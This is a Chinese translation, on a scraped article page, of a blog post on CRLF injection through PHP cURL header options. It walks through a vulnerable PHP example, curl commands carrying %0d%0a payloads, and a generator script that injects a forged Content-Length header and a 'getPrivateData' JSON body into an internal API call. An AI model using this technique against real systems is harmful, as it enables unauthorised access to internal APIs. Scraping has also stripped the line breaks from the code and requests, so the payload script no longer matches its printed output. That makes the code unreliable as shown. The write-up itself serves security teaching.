1. 程式人生 > 其它 >body curl 設定post_將CRLF注入PHP的cURL選項

body curl 設定post_將CRLF注入PHP的cURL選項

技術標籤:body curl 設定post

   翻譯文章,原文:CRLF Injection Into PHP’s cURL Options[1]

df185ad7d05f1af3f16f538108059e17.png

圖1

這是一篇有關將回車符和換行符注入內部API呼叫的文章。我一年前在Gist on GitHub[2]上寫這篇文章,但它並不是真正的部落格文章最佳平臺,不是嗎?我在此處添加了更多詳細資訊,因此不僅僅是直接複製和貼上。

我喜歡在可能的時候做白盒測試。我並不是一個出色的黑盒測試者,但是我花了十多年的時間讀寫PHP程式,在此過程中我犯了很多錯誤,所以我知道要尋找什麼。

預覽程式碼,碰到了類似如下功能:

<?php // common.php​function getTrialGroups(){    $trialGroups = 'default';​    if (isset($_COOKIE['trialGroups'])){        $trialGroups = $_COOKIE['trialGroups'];    }​    return explode(",", $trialGroups);}

我正看的這個系統中有個一個'Trial Group'的概念。每個使用者會話都有一組與之關聯的組,並以逗號分隔的列表形式儲存在Cookie中。這個想法是,當啟動新功能時,可以首先讓一小部分客戶啟用它們,以降低功能釋出的風險,或者允許比較功能上的不同變體(一種稱為A/B測試[3]的方法)。 getTrialGroups()函式僅讀取cookie值,分割列表(上面的逗號分隔的資料), 然後返回給使用者一個試用功能的陣列。

此功能中缺少白名單功能立即引起了我的注意。我對其餘的程式碼庫進行查詢,以找到呼叫該函式的位置,這樣我就可以檢視其返回值是否存在任何不安全的用法。

<?php // server.php​// Include common functionsrequire __DIR__.'/common.php';​// Using the awesome httpbin.org here to just reflect// our whole request back at us as JSON :)$ch = curl_init("http://httpbin.org/post");​// Make curl_exec return the response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);​// Set the content type and pass through any trial groupscurl_setopt($ch, CURLOPT_HTTPHEADER, [    "Content-Type: application/json",    "X-Trial-Groups: " . implode(",", getTrialGroups())]);​// Call the 'getPublicData' RPC method on the internal APIcurl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([    "method" => "getPublicData",    "params" => []]));​// Return the response to the userecho curl_exec($ch);​curl_close($ch);

這段程式碼使用cURL庫在內部JSON API上呼叫了getPublicData方法。該API需要了解使用者的試用組(上面提到的試用功能列表),以便可以相應地更改其行為,因此這些試用組將通過X-Trial-Groups(自定義的Http Header)頭傳遞給API。

這裡的問題是,在設定CURLOPT_HTTPHEADER時,不檢查回車符或換行符。由於getTrialGroups()函式返回使用者可控制的資料,因此可以向API請求中插入任意標頭。


示例

為了使操作更容易理解,我將使用PHP的內建網路伺服器在本地執行server.php:

[email protected]:~/tmp/crlf▶ php -S localhost:1234 server.phpPHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018Listening on http://localhost:1234Document root is /home/tom/tmp/crlfPress Ctrl-C to quit.

使用cURL命令列程式,我們可以傳送一個示例,其中包括一個trialGroups cookie:

[email protected]:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'

返回值:

{   "args": {},     "data":   "{"method":"getPublicData","params":[]}",      "files": {},       "form": {},       "headers": {              "Accept": "*/*",               "Connection": "close",               "Content-Length": "38",               "Content-Type": "application/json",              "Host": "httpbin.org",              "X-Trial-Groups": "A1,B2"      },      "json": {                  "method": "getPublicData",                    "params": []      },       "origin": "X.X.X.X",      "url": "http://httpbin.org/post"}

我使用的是http://httpbin.org/post,而不是內部API,它返回一個JSON文件,該文件描述了已傳送的`POST`請求,包括請求中的所有`POST`資料和標頭。

關於響應的重要注意事項是,傳送到httpbin.org的X-Trial-Groups標頭包含在trialGroups cookie中的A1,B2字串。讓我們嘗試一些有CRLF(回車換行)注入的資料:

[email protected]:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'

返回值:

{    "args": {},     "data": "{"method":"getPublicData","params":[]}",     "files": {},     "form": {},    "headers": {        "Accept": "*/*",              "Connection": "close",               "Content-Length": "38",               "Content-Type": "application/json",               "Host": "httpbin.org",              "X-Injected": "true",               "X-Trial-Groups": "A1,B2"    },       "json": {          "method": "getPublicData",            "params": []      },         "origin": "X.X.X.X",           "url": "http://httpbin.org/post"}

PHP會自動將Cookie值中的URL編碼序列(例如%0d,%0a)解碼,因此我們可以在傳送的Cookie值中使用URL編碼的回車符(%0d)和換行符(%0a)。HTTP標頭由CRLF序列分隔,因此,當PHP cURL庫寫入請求標頭時,X-Injected:有效載荷的真實部分被視為獨立標頭。


HTTP請求

通過將標頭注入請求中,您真正能做什麼?說實話,這個例子中能做的不是很多。如果我們對HTTP請求的結構進行更深入的研究,您會發現我們不僅可以注入標頭,還可以做更多的事情;我們也可以注入POST資料!

要了解漏洞利用的工作方式,您需要對HTTP請求有所瞭解。您可以執行的最基本的HTTP POST請求如下所示:

POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7thedata

我們逐行分析.

POST /post HTTP/1.1

第一行說,使用HTTP版本1.1,使用POST方法將請求傳送到/post端點

Host: httpbin.org

此標頭告訴遠端伺服器,我們正在httpbin.org上請求一個頁面。這似乎是多餘的,但是當您連線到HTTP伺服器時,您是在連線伺服器的IP地址,而不是域名。如果您的請求中未包含Host標頭,則伺服器將無法知道您在瀏覽器的位址列中鍵入的域名。

Connection: close

此標頭要求伺服器在完成傳送響應後關閉基礎TCP連線。如果沒有此標頭,則傳送響應後,連線可能保持開啟狀態。

Content-Length: 7

Content-Length標頭告訴伺服器在請求正文中將傳送多少位元組的資料。這一點很重要.

這裡沒有錯誤;空行只包含CRLF序列。它告訴伺服器我們已經完成了傳送頭,並且請求正文即將傳送。(每個Http請求的資料和請求頭都需要一個空行來分割,這個是Http協議中規定的內容)。

thedata

最後,我們傳送請求正文(又稱為POST資料)。它的長度(以位元組為單位)必須與我們之前傳送的Content-Length標頭匹配,因為我們告訴伺服器它將必須讀取那麼多位元組。

讓我們通過將echo命令傳遞到netcat來將此請求傳送到httpbin.org:

[email protected]:~▶ echo -e "POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7hedata" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{    "args": {},   "data": "thedata",     "files": {},     "form": {},     "headers": {                "Connection": "close",                "Content-Length": "7",                 "Host": "httpbin.org"     },     "json": null,    "origin": "X.X.X.X",    "url": "http://httpbin.org/post"}

一切正常。我們得到一些響應頭,一個CRLF序列,然後是響應主體。

因此,訣竅出在這裡:如果傳送的POST資料比Content-Length標頭中所說明的要多,該怎麼辦?試試看:

[email protected]:~▶ echo -e "POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7hedata some more data" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{      "args": {},       "data": "thedata",       "files": {},       "form": {},       "headers": {                "Connection": "close",                "Content-Length": "7",                 "Host": "httpbin.org"      },        "json": null,       "origin": "X.X.X.X",        "url": "http://httpbin.org/post"}

我們保持Content-Length標頭不變,並說我們將傳送7個位元組,並向請求正文中添加了更多資料,但伺服器僅讀取了前7個位元組。這就是我們可以用來實際利用漏洞的技巧。


利用程式

事實證明,當您設定CURLOPT_HTTPHEADER選項時,不僅可以使用單個CRLF序列注入http請求頭,還可以使用雙CRLF序列注入POST資料。我們實驗如下:

•1.在我們自己的JSON POST資料後,該資料呼叫getPublicData之外的其他方法;假設getPrivateData

•2.獲取該資料的長度(以位元組為單位)

•3.使用單個CRLF序列,注入Content-Length標頭,指示伺服器僅讀取該位元組數

•4.注入兩個CRLF序列,然後注入我們的惡意JSON作為POST資料

如果一切順利,內部API應該完全忽略合法的JSON POST資料,以支援我們的惡意JSON。

為了使事情變得容易,我傾向於編寫一些小的指令碼來生成這類有效payload。它減少了我犯錯的機會,使我的大腦陷入困境,試圖弄清為什麼它不起作用。這是我寫的:

[email protected]:~▶ cat gencookie.php
<?php $postData = '{"method": "getPrivateData", "params": []}';$length = strlen($postData);$payload = "ignoreContent-Length: {$length}{$postData}";echo "trialGroups=".urlencode($payload);[email protected]:~▶ php gencookie.php trialGroups=ignore%0D%0AContent-Length%3A+42%0D%0A%0D%0A%7B%22method%22%3A+%22getPrivateData%22%2C+%22params%22%3A+%5B%5D%7D

嘗試:

[email protected]:~▶ curl -s localhost:1234 -b $(php gencookie.php)

返回值:

{    "args": {},       "data": "{"method": "getPrivateData", "params": []}",       "files": {},       "form": {},       "headers": {                "Accept": "*/*",                 "Connection": "close",                 "Content-Length": "42",                 "Content-Type": "application/json",                 "Host": "httpbin.org",                 "X-Trial-Groups": "ignore"       },        "json": {                 "method": "getPrivateData",                 "params": []        },         "origin": "X.X.X.X",         "url": "http://httpbin.org/post"}

成功!我們將x-Trial-Groups標頭設定為ignore,注入Content-Length標頭和我們自己的POST資料。合法的POST資料仍然被髮送,但是伺服器完全忽略了它。

這是您不太可能在黑盒測試時發現的錯誤,但我認為仍然值得一提,因為這些天使用的開原始碼太多了,對編寫程式碼的人有很好的啟發。


其他攻擊

自發現此錯誤以來,我一直努力注意類似情況。在我的研究中,我發現CURLOPT_HTTPHEADER並不是唯一容易受到相同攻擊的cURL選項。以下選項(可能還有其他選項)在請求中隱式設定標頭,並且容易受到攻擊:

•  CURLOPT_HEADER•CURLOPT_COOKIE•CURLOPT_RANGE•CURLOPT_REFERER•CURLOPT_USERAGENT•CURLOPT_PROXYHEADER

References

[1] CRLF Injection Into PHP’s cURL Options: https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545

[2] Gist on GitHub: https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da

[3] A/B測試: https://en.wikipedia.org/wiki/A/B_testing